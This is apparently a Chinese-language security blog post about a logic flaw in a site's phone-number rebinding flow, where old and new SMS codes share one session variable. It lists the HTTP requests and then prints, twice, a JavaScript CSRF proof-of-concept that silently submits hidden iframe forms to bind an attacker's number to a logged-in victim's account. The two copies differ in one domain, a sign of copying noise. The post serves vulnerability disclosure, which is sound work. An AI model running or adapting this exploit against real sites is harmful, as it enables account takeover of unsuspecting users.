SESSION 中的手机验证码

之前在检测某网站的时候发现了一个好玩的逻辑问题,可以在更换手机号的时候,可以不用原手机的验证码解绑,只需要新手机接收验证码就能绑定手机。

漏洞的成因是新旧手机的验证码在 session 中用同一个变量名存储,更换手机号的时候运行越过前面几步直接向新手机发送短信验证码。此时新手机的短信验证码就被当成了第一步解绑老手机时发往老手机的验证码,导致攻击者可以直接用自己的手机绑定到受害者的账号上。

首先发送给新手机号发送验证码的请求:

1
2
3
4
POST /user/send_new_mobile_sms HTTP/1.1
...

mobile=新手机号

在新手机号接收到验证码之后发送请求:

1
2
3
4
POST /user/verify_mobile_sms HTTP/1.1
...

smscode1=新手机号验证码

最后绑定新手机号:

1
2
3
4
POST /user/verify_new_mobile_sms HTTP/1.1
...

smscode2=新手机号验证码

此逻辑漏洞配合 CSRF 漏洞可以实现以下攻击场景:在用户登录网站的情况下,只要访问攻击者的一个页面,攻击者就能把自己的手机号绑定到用户的账号上,进而控制用户的账号。

最后附上POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<div id='poc' width=0 height=0></div>

<script>
function get(url){
httpRequest = new XMLHttpRequest();
httpRequest.open('GET', url, false);
httpRequest.send();
if (httpRequest.status === 200) {
return httpRequest.responseText;
}
}
function post(url, key, value){
data='<body><form id="f1" action="'+url+'" method="POST"> \
<input name="'+key+'" type="text" value="'+value+'" /> \
</form> \
<script> \
f1.submit(function(){return false}) \
<\/script></body>'
f=document.createElement('iframe')
f.src="data:text/html;base64,"+btoa(data)
f.height=0
f.width=0
poc.append(f)
}

function getcode(){
url = 'http://127.0.0.1/1.php'
data = get(url)
if(data.length > 0){
clearInterval(sh)
exploit(data)

}
}

function exploit(code){
url = "https://www.xxx.com/user/verify_mobile_sms"
//post(url, "smscode1", code)
setTimeout(post, 0, url, "smscode1", code)

url = "https://www.xxx.com/user/verify_new_mobile_sms"
//post(url, "smscode2", code)
setTimeout(post, 3000, url, "smscode2", code)
setTimeout(alert, 4000, 'mobile changed!')
}

post("https://www.xxx.com/user/send_new_mobile_sms", 'mobile', '18888888888')

code = ''
sh=setInterval(getcode,1000);

</script>
<div id='poc' width=0 height=0></div>

<script>
function get(url){
httpRequest = new XMLHttpRequest();
httpRequest.open('GET', url, false);
httpRequest.send();
if (httpRequest.status === 200) {
return httpRequest.responseText;
}
}
function post(url, key, value){
data='<body><form id="f1" action="'+url+'" method="POST"> \
<input name="'+key+'" type="text" value="'+value+'" /> \
</form> \
<script> \
f1.submit(function(){return false}) \
<\/script></body>'
f=document.createElement('iframe')
f.src="data:text/html;base64,"+btoa(data)
f.height=0
f.width=0
poc.append(f)
}

function getcode(){
url = 'http://127.0.0.1/1.php'
data = get(url)
if(data.length > 0){
clearInterval(sh)
exploit(data)

}
}

function exploit(code){
url = "https://www.jxxx.com/user/verify_mobile_sms"
//post(url, "smscode1", code)
setTimeout(post, 0, url, "smscode1", code)

url = "https://www.xxx.com/user/verify_new_mobile_sms"
//post(url, "smscode2", code)
setTimeout(post, 3000, url, "smscode2", code)
setTimeout(alert, 4000, 'mobile changed!')
}

post("https://www.xxx.com/user/send_new_mobile_sms", 'mobile', '18888888888')

code = ''
sh=setInterval(getcode,1000);

</script>

分享到 评论